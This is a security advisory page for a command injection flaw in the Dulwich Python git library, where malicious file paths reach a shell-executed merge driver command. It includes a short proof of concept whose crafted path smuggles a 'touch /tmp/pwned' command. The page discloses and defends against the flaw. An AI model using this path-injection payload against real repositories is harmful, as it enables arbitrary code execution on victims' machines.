Dulwich Vulnerable to Command Injection via Merge Driver Path
Summary
Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.
Description
- Type: Command Injection
- Source:
merge.pyline 195 — path from merge tree (from repository content when merging untrusted branch) - Sink:
merge_drivers.pylines 124–127 —subprocess.run(cmd, shell=True)wherecmdincludes path via%Pplaceholder - Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the
%Pplaceholder.
Resources
- Repository: https://github.com/dulwich/dulwich
- Vulnerable file:
dulwich/merge_drivers.py(lines 119–129)
Proof of Concept
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob
# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")
patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)
base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")
# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"
merge_blobs(base, ours, theirs, path=malicious_path,
gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwnedFix
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | dulwich | >= 0.24.0, < 1.2.5 | 1.2.5 |
References
- https://github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf
- https://nvd.nist.gov/vuln/detail/CVE-2026-42563
- https://github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b
- https://github.com/jelmer/dulwich
- https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5
- https://pypi.org/project/dulwich
- https://github.com/advisories/GHSA-9277-mp7x-85jf
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-78- Platform
- Python (PyPI)
- Package
dulwich- Disclosed
- 28.05.2026
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2464 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-9277-mp7x-85jf - CC BY 4.0
Vulnerability history: dulwich
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 13
- First → latest
- 03.2015 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 3
- High 7
- Medium 2
- Low 1
Disclosures per year
- 2017: 1
- 2018: 0
- 2019: 0
- 2020: 0
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 10
earlier: 2
-
Dulwich Vulnerable to Command Injection via Merge Driver Path this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.